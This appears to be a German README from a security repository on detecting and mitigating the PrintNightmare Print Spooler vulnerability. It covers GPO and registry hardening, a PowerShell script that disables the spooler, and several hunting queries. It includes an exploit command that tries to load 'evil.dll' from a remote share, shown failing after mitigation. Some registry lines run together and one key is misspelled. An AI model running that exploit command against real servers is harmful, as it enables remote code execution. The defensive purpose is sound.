
CVE-2021-1675 Erkennungsinfo
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Dieses Repository enthält ein EVTX-Beispiel des CVE-2021-1675 & CVE-2021-34527-Angriffs sowie eine minimale Sysmon-Konfigurationsdatei, die zur Erzeugung der relevanten Telemetrie verwendet werden kann.
Bitte beachten Sie, dass diese Regeln umgangen werden können - patchen Sie entsprechend und deaktivieren Sie den Druckerspoolerdienst auf Domänencontrollern.
Bitte testen Sie alle empfohlenen Korrekturen, bevor Sie sie in der Produktion ausrollen, da es aufgrund dieser Härtungsänderungen zu unbeabsichtigten Konsequenzen kommen kann. Wir haben einen Blogbeitrag verfasst, der den Inhalt dieses Repos und die gefundenen Informationen erklärt. Hier: https://labs.lares.com/detection-and-mitigation-printnightmare/
Dank an Benjamin Delpy gibt es ein aktualisiertes Flussdiagramm zur Ausnutzbarkeit dieses Problems, um zu bestimmen, ob Ihre Systeme wahrscheinlich anfällig sind.

Sicherheitseinstellungen -> Systemdienste -> Druckspooler -> Deaktivieren
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computerkonfiguration -> Administrative Vorlagen -> Drucker -> Druckspooler Clientverbindungen akzeptieren -> Deaktivieren
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Drucker -> Punkt-und-Druck-Einschränkungen -> Sicherheitsabfragen -> Bei Installation von Treibern für eine neue Verbindung -> Warnung und Eingabeaufforderung anzeigen
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1Der von Microsoft im Juni 2021 veröffentlichte Patch patcht CVE-2021-1675, behebt aber leider nicht das als PrintNightmare (CVE-2021-34527) bekannte Problem. Daher kann eine Workaround-Korrektur durch Deaktivieren des Druckspoolerdienstes angewendet werden. Hier erfahren Sie, wie dies sowohl über GPO als auch PowerShell durchgeführt wird. Es wurde bestätigt, dass die GPO sowohl die MS-RPRN RpcAddPrinterDriverEx-Funktion als auch die Win32 AddPrinterDriverEx-Funktion, die SharpPrintNightmare verwendet, korrigiert.
Die folgende GPO kann festgelegt werden, um Clientverbindungen zum Spooler zu verweigern, was ein potenzieller Workaround ist, wenn die vollständige Deaktivierung des Spoolerdienstes keine Option ist. Dies wurde in einer Laborumgebung gegen Domänencontroller und Endpunkte (W7/W10) getestet, und Benutzer können weiterhin Drucker hinzufügen/entfernen und drucken, jedoch stoppt es die Ausnutzung. Hinweis: Es wird auch angenommen, dass diese GPO ebenfalls CVE-2021-34527 behebt, wie auf Microsofts Schwachstellenseite vermerkt.
Computerkonfiguration -> Administrative Vorlagen -> Drucker -> Druckspooler Clientverbindungen akzeptieren auf 'Deaktiviert' setzen:

Starten Sie dann den Spoolerdienst auf dem betroffenen Host neu. Wenn alles gut geht, wird dem Exploit der Zugriff verweigert:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Eine weitere Korrektur/Workaround besteht darin, authentifizierte Benutzer aus der Gruppe Pre-Windows 2000 Kompatibler Zugriff zu entfernen, wie von Dirk-jan entdeckt.

Stellen Sie sicher, dass die Gruppe "Authentifizierte Benutzer" kein Mitglied der Gruppe "Pre-Windows 2000 Kompatibler Zugriff" ist. (Standardmäßig sind diese Gruppen in aktuellen Windows-Versionen nicht enthalten.) Wie im folgenden Screenshot gezeigt, sollten keine Mitglieder vorhanden sein:

Wenn Sie unsicher sind, wie dies durchgeführt wird, können Sie die folgenden Schritte ausführen:
Angepasstes Skript von 0gtweet zur Verwendung von ADDomainController, um alle DCs aus der Domäne abzurufen
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}
Die bereitgestellte Sysmon-Konfigurationsdatei CVE-2021-1675.xml kann mit Sysmon Config Pusher installiert werden: https://github.com/LaresLLC/SysmonConfigPusher
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)
Eine generische Methode zur Jagd nach Ausnutzung des Druckspoolers besteht darin, nach Fehlern zu suchen, die durch den Druckspooler aufgrund des Ladens der Payload-DLL generiert werden. Dies kann entweder durch die Suche nach dem Erzeugen von WerFault.exe durch spoolsv.exe oder die Generierung von Ereignis-ID 7031, die ein unerwartetes Beenden des Druckspoolerdienstes anzeigt, erfolgen.
((index=sysmon EventCode=1
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe")
OR (index=windows Channel=System EventCode=7031
Message="The Print Spooler service terminated unexpectedly"))
Nach mehreren Tests der Ausnutzung der cube0x0-Implementierung wurde ein zusätzliches Artefakt gefunden: Ereignis-ID 5145 mit Share Name: \\*\IPC$ und Relative Target Name: spoolss. Vorteile dieses Ansatzes sind, dass Sie die Quell-IP (Source Address) und das Konto (Security ID oder Account Name) sehen können, die für den Angriff verwendet wurden. Es kann False-Positives von echten Druckservern geben, aber diese können nach Hostname und Access Mask gefiltert werden. Es kann andere False-Positives geben, die durch eine Kombination von hostname-username-access mask gefiltert werden können.
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000)
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"
Source: https://twitter.com/olafhartong/status/1410229699993874442




Source: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"
Twitter-Beiträge, die Angriffe und Suchabfragen referenzieren
Beobachtungen zu Domänencontrollern versus Nicht-Domänencontrollern via Benjamin Delpy:
Sehr praktisches Flussdiagramm via Stan Hegt von Outflank
Neue CVE-Zuweisung von Microsoft:
SANS ICS Tagebuch: